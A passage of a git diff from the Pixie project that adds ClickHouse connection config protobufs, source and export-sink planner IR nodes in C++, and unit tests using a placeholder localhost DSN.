fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthDistributedPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthDistributedPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hostname = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Host", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthDistributedPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthDistributedPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Host = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Port", wireType) + } + m.Port = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Port |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthDistributedPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthDistributedPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthDistributedPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthDistributedPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Password = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Database", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthDistributedPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthDistributedPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Database = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := skipDistributedPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthDistributedPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} func (m *PluginConfig) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 @@ -5300,6 +5815,42 @@ func (m *LogicalPlannerState) Unmarshal(dAtA []byte) error { return err } iNdEx = postIndex + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClickhouseConfig", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthDistributedPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthDistributedPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.ClickhouseConfig == nil { + m.ClickhouseConfig = &ClickHouseConfig{} + } + if err := m.ClickhouseConfig.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex skippy, err := skipDistributedPlan(dAtA[iNdEx:]) diff --git a/src/carnot/planner/distributedpb/distributed_plan.proto b/src/carnot/planner/distributedpb/distributed_plan.proto index b5a4e8d08a1..581b8748d37 100644 --- a/src/carnot/planner/distributedpb/distributed_plan.proto +++ b/src/carnot/planner/distributedpb/distributed_plan.proto @@ -142,6 +142,23 @@ message OTelEndpointConfig { int64 timeout = 4; } +// ClickHouseConfig contains the connection parameters for ClickHouse. +message ClickHouseConfig { + // The hostname of the node executing the query. + string hostname = 1; + // The ClickHouse server host. + string host = 2; + // The ClickHouse server port. + int32 port = 3; + // The ClickHouse username. + string username = 4; + // The ClickHouse password. + string password = 5; + // The ClickHouse database name. + string database = 6; +} + + message PluginConfig { // The start_time of the script in nanoseconds. int64 start_time_ns = 1; @@ -183,6 +200,8 @@ message LogicalPlannerState { // PluginConfig contains plugin related configuration. PluginConfig plugin_config = 9; + ClickHouseConfig clickhouse_config = 11; + // Debug options for the compiler. DebugInfo debug_info = 10; } diff --git a/src/carnot/planner/ir/BUILD.bazel b/src/carnot/planner/ir/BUILD.bazel index 55b3ac401d4..6a064c629f0 100644 --- a/src/carnot/planner/ir/BUILD.bazel +++ b/src/carnot/planner/ir/BUILD.bazel @@ -47,6 +47,7 @@ pl_cc_library( "//src/carnot/planpb:plan_pl_cc_proto", "//src/shared/metadata:cc_library", "//src/shared/metadatapb:metadata_pl_cc_proto", + "@com_github_clickhouse_clickhouse_cpp//:clickhouse_cpp", "@com_github_vinzenz_libpypa//:libpypa", ], ) @@ -67,6 +68,14 @@ pl_cc_test( ], ) +pl_cc_test( + name = "clickhouse_export_sink_ir_test", + srcs = ["clickhouse_export_sink_ir_test.cc"], + deps = [ + "//src/carnot/planner/compiler:test_utils", + ], +) + pl_cc_test( name = "pattern_match_test", srcs = ["pattern_match_test.cc"], diff --git a/src/carnot/planner/ir/all_ir_nodes.h b/src/carnot/planner/ir/all_ir_nodes.h index 5c0b49744cd..b5689d1389f 100644 --- a/src/carnot/planner/ir/all_ir_nodes.h +++ b/src/carnot/planner/ir/all_ir_nodes.h @@ -20,6 +20,8 @@ #include "src/carnot/planner/ir/blocking_agg_ir.h" #include "src/carnot/planner/ir/bool_ir.h" +#include "src/carnot/planner/ir/clickhouse_source_ir.h" +#include "src/carnot/planner/ir/clickhouse_export_sink_ir.h" #include "src/carnot/planner/ir/column_ir.h" #include "src/carnot/planner/ir/data_ir.h" #include "src/carnot/planner/ir/drop_ir.h" diff --git a/src/carnot/planner/ir/clickhouse_export_sink_ir.cc b/src/carnot/planner/ir/clickhouse_export_sink_ir.cc new file mode 100644 index 00000000000..b4492ff8ede --- /dev/null +++ b/src/carnot/planner/ir/clickhouse_export_sink_ir.cc @@ -0,0 +1,131 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include "src/carnot/planner/ir/clickhouse_export_sink_ir.h" +#include "src/carnot/planner/ir/ir.h" +#include "src/carnot/planpb/plan.pb.h" +#include + +namespace px { +namespace carnot { +namespace planner { + +StatusOr>> +ClickHouseExportSinkIR::RequiredInputColumns() const { + return std::vector>{required_column_names_}; +} + +Status ClickHouseExportSinkIR::Init(OperatorIR* parent, const std::string& table_name, + const std::string& clickhouse_dsn) { + table_name_ = table_name; + + // Parse the ClickHouse DSN and initialize the config + PX_ASSIGN_OR_RETURN(auto config, ParseClickHouseDSN(clickhouse_dsn)); + clickhouse_config_ = std::make_unique(config); + + return AddParent(parent); +} + +StatusOr ClickHouseExportSinkIR::ParseClickHouseDSN(const std::string& dsn) { + // Expected format: [clickhouse://]username:password@host:port/database + // The clickhouse:// prefix is optional + std::regex dsn_regex(R"((?:clickhouse://)?([^:]+):([^@]+)@([^:]+):(\d+)/(.+))"); + std::smatch matches; + + if (!std::regex_match(dsn, matches, dsn_regex)) { + return error::InvalidArgument("Invalid ClickHouse DSN format. Expected: [clickhouse://]username:password@host:port/database"); + } + + planpb::ClickHouseConfig config; + + // Extract the components + config.set_username(matches[1].str()); + config.set_password(matches[2].str()); + config.set_host(matches[3].str()); + config.set_port(std::stoi(matches[4].str())); + config.set_database(matches[5].str()); + + // hostname will be set by the runtime + config.set_hostname(""); + + return config; +} + +Status ClickHouseExportSinkIR::ToProto(planpb::Operator* op) const { + op->set_op_type(planpb::CLICKHOUSE_EXPORT_SINK_OPERATOR); + auto clickhouse_op = op->mutable_clickhouse_sink_op(); + + // ClickHouse config must be set before calling ToProto + if (clickhouse_config_ == nullptr) { + return error::InvalidArgument("ClickHouse config not set"); + } + + // Set the ClickHouse configuration + *clickhouse_op->mutable_clickhouse_config() = *clickhouse_config_; + clickhouse_op->set_table_name(table_name_); + + // Map all input columns to ClickHouse columns + DCHECK(is_type_resolved()); + int64_t idx = 0; + for (const auto& [col_name, col_type] : *resolved_table_type()) { + DCHECK(col_type->IsValueType()); + auto value_type = std::static_pointer_cast(col_type); + + auto column_mapping = clickhouse_op->add_column_mappings(); + column_mapping->set_input_column_index(idx); + column_mapping->set_clickhouse_column_name(col_name); + column_mapping->set_column_type(value_type->data_type()); + idx++; + } + + return Status::OK(); +} + +Status ClickHouseExportSinkIR::CopyFromNodeImpl( + const IRNode* node, absl::flat_hash_map*) { + const ClickHouseExportSinkIR* source = static_cast(node); + table_name_ = source->table_name_; + required_column_names_ = source->required_column_names_; + if (source->clickhouse_config_ != nullptr) { + clickhouse_config_ = std::make_unique(*source->clickhouse_config_); + } + return Status::OK(); +} + +Status ClickHouseExportSinkIR::ResolveType(CompilerState* compiler_state) { + DCHECK_EQ(1U, parent_types().size()); + + auto parent_table_type = std::static_pointer_cast(parent_types()[0]); + + // Store ClickHouse config from compiler state only if not already set by Init() + if (clickhouse_config_ == nullptr && compiler_state->clickhouse_config() != nullptr) { + clickhouse_config_ = std::make_unique(*compiler_state->clickhouse_config()); + } + + // Populate required column names + for (const auto& col_name : parent_table_type->ColumnNames()) { + required_column_names_.insert(col_name); + } + + // Export sink passes through the input schema + return SetResolvedType(parent_table_type); +} + +} // namespace planner +} // namespace carnot +} // namespace px diff --git a/src/carnot/planner/ir/clickhouse_export_sink_ir.h b/src/carnot/planner/ir/clickhouse_export_sink_ir.h new file mode 100644 index 00000000000..f4bc98246d6 --- /dev/null +++ b/src/carnot/planner/ir/clickhouse_export_sink_ir.h @@ -0,0 +1,74 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#pragma once + +#include +#include +#include + +#include +#include "src/carnot/planner/compiler_state/compiler_state.h" +#include "src/carnot/planner/ir/column_ir.h" +#include "src/carnot/planner/ir/operator_ir.h" +#include "src/carnot/planpb/plan.pb.h" +#include "src/common/base/base.h" + +namespace px { +namespace carnot { +namespace planner { + +/** + * @brief The IR representation for the ClickHouseExportSink operator. + * Represents a configuration to export a DataFrame to a ClickHouse database. + */ +class ClickHouseExportSinkIR : public OperatorIR { + public: + explicit ClickHouseExportSinkIR(int64_t id) : OperatorIR(id, IRNodeType::kClickHouseExportSink) {} + + Status Init(OperatorIR* parent, const std::string& table_name, const std::string& clickhouse_dsn); + + StatusOr ParseClickHouseDSN(const std::string& dsn); + + Status ToProto(planpb::Operator* op) const override; + + Status CopyFromNodeImpl(const IRNode* node, + absl::flat_hash_map*) override; + + Status ResolveType(CompilerState* compiler_state); + inline bool IsBlocking() const override { return true; } + + StatusOr>> RequiredInputColumns() const override; + + const std::string& table_name() const { return table_name_; } + + protected: + StatusOr> PruneOutputColumnsToImpl( + const absl::flat_hash_set& /*kept_columns*/) override { + return error::Unimplemented("Unexpected call to ClickHouseExportSinkIR::PruneOutputColumnsTo."); + } + + private: + std::string table_name_; + absl::flat_hash_set required_column_names_; + std::unique_ptr clickhouse_config_; +}; + +} // namespace planner +} // namespace carnot +} // namespace px diff --git a/src/carnot/planner/ir/clickhouse_export_sink_ir_test.cc b/src/carnot/planner/ir/clickhouse_export_sink_ir_test.cc new file mode 100644 index 00000000000..f3f13ad329d --- /dev/null +++ b/src/carnot/planner/ir/clickhouse_export_sink_ir_test.cc @@ -0,0 +1,159 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include +#include +#include + +#include +#include +#include + +#include "src/carnot/planner/compiler/test_utils.h" +#include "src/carnot/planner/ir/clickhouse_export_sink_ir.h" +#include "src/carnot/planner/ir/memory_source_ir.h" +#include "src/carnot/planpb/plan.pb.h" +#include "src/common/testing/protobuf.h" +#include "src/table_store/table_store.h" + +namespace px { +namespace carnot { +namespace planner { + +using ClickHouseExportSinkTest = ASTVisitorTest; + +TEST_F(ClickHouseExportSinkTest, basic_export) { + // Create a simple relation with some columns + table_store::schema::Relation relation{ + {types::TIME64NS, types::STRING, types::INT64, types::FLOAT64}, + {"time_", "hostname", "count", "latency"}, + {types::ST_NONE, types::ST_NONE, types::ST_NONE, types::ST_DURATION_NS}}; + + (*compiler_state_->relation_map())["table"] = relation; + + auto src = MakeMemSource("table"); + EXPECT_OK(src->ResolveType(compiler_state_.get())); + + std::string clickhouse_dsn = "default:test_password@localhost:9000/default"; + ASSERT_OK_AND_ASSIGN(auto clickhouse_sink, + graph->CreateNode(src->ast(), src, "http_events", clickhouse_dsn)); + + clickhouse_sink->PullParentTypes(); + EXPECT_OK(clickhouse_sink->UpdateOpAfterParentTypesResolved()); + + // ResolveType will try to get config from compiler state, but we'll set it directly + // by creating a new CompilerState with ClickHouse config + auto new_relation_map = std::make_unique(); + (*new_relation_map)["table"] = relation; + + auto clickhouse_config = std::make_unique(); + clickhouse_config->set_host("localhost"); + clickhouse_config->set_port(9000); + clickhouse_config->set_username("default"); + clickhouse_config->set_password("test_password"); + clickhouse_config->set_database("default"); + + auto new_compiler_state = std::make_unique( + std::move(new_relation_map), + SensitiveColumnMap{}, + compiler_state_->registry_info(), + compiler_state_->time_now(), + 0, // max_output_rows_per_table + "", // result_address + "", // result_ssl_targetname + RedactionOptions{}, + nullptr, // endpoint_config + nullptr, // plugin_config + DebugInfo{}, + std::move(clickhouse_config)); + + // ResolveType will copy the config from compiler state + EXPECT_OK(clickhouse_sink->ResolveType(new_compiler_state.get())); + + planpb::Operator pb; + EXPECT_OK(clickhouse_sink->ToProto(&pb)); + + EXPECT_EQ(pb.op_type(), planpb::CLICKHOUSE_EXPORT_SINK_OPERATOR); + EXPECT_EQ(pb.clickhouse_sink_op().table_name(), "http_events"); + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings_size(), 4); + + // Verify column mappings + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings(0).input_column_index(), 0); + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings(0).clickhouse_column_name(), "time_"); + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings(0).column_type(), types::TIME64NS); + + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings(1).input_column_index(), 1); + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings(1).clickhouse_column_name(), "hostname"); + EXPECT_EQ(pb.clickhouse_sink_op().column_mappings(1).column_type(), types::STRING); +} + +TEST_F(ClickHouseExportSinkTest, required_input_columns) { + table_store::schema::Relation relation{ + {types::TIME64NS, types::STRING, types::INT64}, + {"time_", "hostname", "count"}, + {types::ST_NONE, types::ST_NONE, types::ST_NONE}}; + + (*compiler_state_->relation_map())["table"] = relation; + + auto src = MakeMemSource("table"); + EXPECT_OK(src->ResolveType(compiler_state_.get())); + + std::string clickhouse_dsn = "default:test_password@localhost:9000/default"; + ASSERT_OK_AND_ASSIGN(auto clickhouse_sink, + graph->CreateNode(src->ast(), src, "http_events", clickhouse_dsn)); + + clickhouse_sink->PullParentTypes(); + EXPECT_OK(clickhouse_sink->UpdateOpAfterParentTypesResolved()); + + // Need to call ResolveType to populate required_column_names_ + auto clickhouse_config = std::make_unique(); + clickhouse_config->set_host("localhost"); + clickhouse_config->set_port(9000); + clickhouse_config->set_username("default"); + clickhouse_config->set_password("test_password"); + clickhouse_config->set_database("default"); + + auto new_relation_map = std::make_unique(); + (*new_relation_map)["table"] = relation; + + auto new_compiler_state = std::make_unique( + std::move(new_relation_map), + SensitiveColumnMap{}, + compiler_state_->registry_info(), + compiler_state_->time_now(), + 0, + "", + "", + RedactionOptions{}, + nullptr, + nullptr, + DebugInfo{}, + std::move(clickhouse_config)); + + EXPECT_OK(clickhouse_sink->ResolveType(new_compiler_state.get())); + + ASSERT_OK_AND_ASSIGN(auto required_input_columns, clickhouse_sink->RequiredInputColumns()); + ASSERT_EQ(required_input_columns.size(), 1); + EXPECT_THAT(required_input_columns[0], + ::testing::UnorderedElementsAre("time_", "hostname", "count")); +} + + +} // namespace planner +} // namespace carnot +} // namespace px diff --git a/src/carnot/planner/ir/clickhouse_source_ir.cc b/src/carnot/planner/ir/clickhouse_source_ir.cc new file mode 100644 index 00000000000..9d6aba8dfc1 --- /dev/null +++ b/src/carnot/planner/ir/clickhouse_source_ir.cc @@ -0,0 +1,328 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include "src/carnot/planner/ir/clickhouse_source_ir.h" + +#include + +#include "src/carnot/planner/ir/ir.h" + +namespace px { +namespace carnot { +namespace planner { + +std::string ClickHouseSourceIR::DebugString() const { + return absl::Substitute("$0(id=$1, table=$2)", type_string(), id(), table_name_); +} + +Status ClickHouseSourceIR::ToProto(planpb::Operator* op) const { + auto pb = op->mutable_clickhouse_source_op(); + op->set_op_type(planpb::CLICKHOUSE_SOURCE_OPERATOR); + + // Set ClickHouse connection parameters from stored values + pb->set_host(host_); + pb->set_port(port_); + pb->set_username(username_); + pb->set_password(password_); + pb->set_database(database_); + + if (!column_index_map_set()) { + return error::InvalidArgument("ClickHouseSource columns are not set."); + } + + DCHECK(is_type_resolved()); + DCHECK_EQ(column_index_map_.size(), resolved_table_type()->ColumnNames().size()); + + // Build the query with explicit column list to match output_descriptor_ order + std::vector column_list; + for (const auto& [idx, col_name] : Enumerate(resolved_table_type()->ColumnNames())) { + column_list.push_back(col_name); + pb->add_column_names(col_name); + auto val_type = std::static_pointer_cast( + resolved_table_type()->GetColumnType(col_name).ConsumeValueOrDie()); + pb->add_column_types(val_type->data_type()); + } + + // Generate SELECT with explicit columns instead of SELECT * to ensure correct column ordering + pb->set_query(absl::Substitute("SELECT $0 FROM $1", absl::StrJoin(column_list, ", "), table_name_)); + + if (IsTimeStartSet()) { + pb->set_start_time(time_start_ns()); + } + + if (IsTimeStopSet()) { + pb->set_end_time(time_stop_ns()); + } + + // Set batch size + pb->set_batch_size(1024); + + // Set timestamp and partition columns from stored values + pb->set_timestamp_column(timestamp_column_); + pb->set_partition_column("hostname"); + + return Status::OK(); +} + +Status ClickHouseSourceIR::Init(const std::string& table_name, + const std::vector& select_columns, + const std::string& host, int port, + const std::string& username, const std::string& password, + const std::string& database, + const std::string& timestamp_column) { + table_name_ = table_name; + column_names_ = select_columns; + host_ = host; + port_ = port; + username_ = username; + password_ = password; + database_ = database; + timestamp_column_ = timestamp_column; + return Status::OK(); +} + +StatusOr> ClickHouseSourceIR::PruneOutputColumnsToImpl( + const absl::flat_hash_set& output_colnames) { + DCHECK(column_index_map_set()); + DCHECK(is_type_resolved()); + std::vector new_col_names; + std::vector new_col_index_map; + + auto col_names = resolved_table_type()->ColumnNames(); + for (const auto& [idx, name] : Enumerate(col_names)) { + if (output_colnames.contains(name)) { + new_col_names.push_back(name); + new_col_index_map.push_back(column_index_map_[idx]); + } + } + if (new_col_names != resolved_table_type()->ColumnNames()) { + column_names_ = new_col_names; + } + column_index_map_ = new_col_index_map; + return output_colnames; +} + +Status ClickHouseSourceIR::CopyFromNodeImpl(const IRNode* node, + absl::flat_hash_map*) { + const ClickHouseSourceIR* source_ir = static_cast(node); + + table_name_ = source_ir->table_name_; + time_start_ns_ = source_ir->time_start_ns_; + time_stop_ns_ = source_ir->time_stop_ns_; + column_names_ = source_ir->column_names_; + column_index_map_set_ = source_ir->column_index_map_set_; + column_index_map_ = source_ir->column_index_map_; + + username_ = source_ir->username_; + password_ = source_ir->password_; + database_ = source_ir->database_; + port_ = source_ir->port_; + host_ = source_ir->host_; + + return Status::OK(); +} + +StatusOr ClickHouseSourceIR::ClickHouseTypeToPixieType( + const std::string& ch_type_name) { + // Integer types - Pixie only supports INT64 + if (ch_type_name == "UInt8" || ch_type_name == "UInt16" || ch_type_name == "UInt32" || + ch_type_name == "UInt64" || ch_type_name == "Int8" || ch_type_name == "Int16" || + ch_type_name == "Int32" || ch_type_name == "Int64") { + return types::DataType::INT64; + } + // UInt128 + if (ch_type_name == "UInt128") { + return types::DataType::UINT128; + } + // Floating point types - Pixie only supports FLOAT64 + if (ch_type_name == "Float32" || ch_type_name == "Float64") { + return types::DataType::FLOAT64; + } + // String types + if (ch_type_name == "String" || ch_type_name == "FixedString" || + absl::StartsWith(ch_type_name, "FixedString(")) { + return types::DataType::STRING; + } + // Date/time types + if (ch_type_name == "DateTime" || absl::StartsWith(ch_type_name, "DateTime64")) { + return types::DataType::TIME64NS; + } + // Boolean type (stored as UInt8 in ClickHouse) + if (ch_type_name == "Bool") { + return types::DataType::BOOLEAN; + } + return types::DataType::STRING; +} + +StatusOr ClickHouseSourceIR::InferRelationFromClickHouse( + CompilerState* compiler_state, const std::string& table_name) { + // Check if ClickHouse config is available + // TODO(ddelnano): Add this check in when the configuration plumbing is done. + auto* ch_config = compiler_state->clickhouse_config(); + PX_UNUSED(ch_config); + + // Use stored connection parameters from Init() + + clickhouse::ClientOptions options; + options.SetHost(host_); + options.SetPort(port_); + options.SetUser(username_); + options.SetPassword(password_); + options.SetDefaultDatabase(database_); + + // Create ClickHouse client + std::unique_ptr client; + try { + client = std::make_unique(options); + } catch (const std::exception& e) { + return error::Internal("Failed to connect to ClickHouse at $0:$1 - $2", + host_, port_, e.what()); + } + + // Query ClickHouse for table schema using DESCRIBE TABLE + std::string describe_query = absl::Substitute("DESCRIBE TABLE $0", table_name); + + table_store::schema::Relation relation; + bool query_executed = false; + + try { + client->Select(describe_query, [&](const clickhouse::Block& block) { + query_executed = true; + // DESCRIBE TABLE returns columns: name, type, default_type, default_expression, comment, + // codec_expression, ttl_expression + size_t num_rows = block.GetRowCount(); + + if (num_rows == 0) { + return; + } + + // Get the column name and type columns + auto name_column = block[0]->As(); + auto type_column = block[1]->As(); + + for (size_t i = 0; i < num_rows; ++i) { + std::string col_name = std::string(name_column->At(i)); + std::string col_type = std::string(type_column->At(i)); + + // Convert ClickHouse type to Pixie type + auto pixie_type_or = ClickHouseTypeToPixieType(col_type); + if (!pixie_type_or.ok()) { + LOG(WARNING) << "Failed to convert ClickHouse type '" << col_type + << "' for column '" << col_name << "'. Using STRING as fallback."; + relation.AddColumn(types::DataType::STRING, col_name, types::SemanticType::ST_NONE); + } else { + types::DataType pixie_type = pixie_type_or.ConsumeValueOrDie(); + // Determine semantic type based on column name or type + types::SemanticType semantic_type = types::SemanticType::ST_NONE; + if (pixie_type == types::DataType::TIME64NS) { + semantic_type = types::SemanticType::ST_TIME_NS; + } + relation.AddColumn(pixie_type, col_name, semantic_type); + } + } + }); + } catch (const std::exception& e) { + return error::Internal("Failed to query ClickHouse table schema for '$0': $1", + table_name, e.what()); + } + + if (!query_executed || relation.NumColumns() == 0) { + return error::Internal("Table '$0' not found in ClickHouse or has no columns.", table_name); + } + + return relation; +} + +Status ClickHouseSourceIR::ResolveType(CompilerState* compiler_state) { + table_store::schema::Relation table_relation; + + auto existing_relation = false; + auto relation_it = compiler_state->relation_map()->find(table_name()); + if (relation_it == compiler_state->relation_map()->end()) { + // Table not found in relation_map, try to infer from ClickHouse + VLOG(1) << absl::Substitute("Table '$0' not found in relation_map. Attempting to infer schema from ClickHouse...", table_name()); + + auto relation_or = InferRelationFromClickHouse(compiler_state, table_name()); + if (!relation_or.ok()) { + return CreateIRNodeError("Table '$0' not found in relation_map and failed to infer from ClickHouse: $1", + table_name_, relation_or.status().msg()); + } + + table_relation = relation_or.ConsumeValueOrDie(); + } else { + table_relation = relation_it->second; + existing_relation = true; + } + auto full_table_type = TableType::Create(table_relation); + if (select_all()) { + // For select_all, add all table columns plus ClickHouse-added columns (hostname, event_time) + std::vector column_indices; + int64_t table_column_count = static_cast(table_relation.NumColumns()); + + // Add all table columns + for (int64_t i = 0; i < table_column_count; ++i) { + column_indices.push_back(i); + } + + // Add ClickHouse-added columns + if (existing_relation) { + full_table_type->AddColumn("hostname", ValueType::Create(types::DataType::STRING, types::SemanticType::ST_NONE)); + column_indices.push_back(table_column_count); // hostname is after all table columns + + full_table_type->AddColumn("event_time", ValueType::Create(types::DataType::TIME64NS, types::SemanticType::ST_TIME_NS)); + column_indices.push_back(table_column_count + 1); // event_time is after hostname + } + + SetColumnIndexMap(column_indices); + return SetResolvedType(full_table_type); + } + + std::vector column_indices; + auto new_table = TableType::Create(); + + // Calculate the index offset for ClickHouse-added columns (after all table columns) + int64_t table_column_count = static_cast(table_relation.NumColumns()); + auto next_count = 0; + + for (const auto& col_name : column_names_) { + // Handle special ClickHouse-added columns that don't exist in the source table + if (col_name == "hostname") { + new_table->AddColumn(col_name, ValueType::Create(types::DataType::STRING, types::SemanticType::ST_NONE)); + // hostname is added by ClickHouse after all table columns + column_indices.push_back(table_column_count + (next_count++)); + continue; + } + if (col_name == "event_time") { + new_table->AddColumn(col_name, ValueType::Create(types::DataType::TIME64NS, types::SemanticType::ST_TIME_NS)); + // event_time is added by ClickHouse after hostname + column_indices.push_back(table_column_count + (next_count++)); + continue; + } + + PX_ASSIGN_OR_RETURN(auto col_type, full_table_type->GetColumnType(col_name)); + new_table->AddColumn(col_name, col_type); + column_indices.push_back(table_relation.GetColumnIndex(col_name)); + } + + SetColumnIndexMap(column_indices); + return SetResolvedType(new_table); +} + +} // namespace planner +} // namespace carnot +} // namespace px diff --git a/src/carnot/planner/ir/clickhouse_source_ir.h b/src/carnot/planner/ir/clickhouse_source_ir.h new file mode 100644 index 00000000000..1f578e7bcef --- /dev/null +++ b/src/carnot/planner/ir/clickhouse_source_ir.h @@ -0,0 +1,144 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#pragma once + +#include +#include +#include +#include + +#include "src/carnot/planner/compiler_state/compiler_state.h" +#include "src/carnot/planner/ir/expression_ir.h" +#include "src/carnot/planner/ir/operator_ir.h" +#include 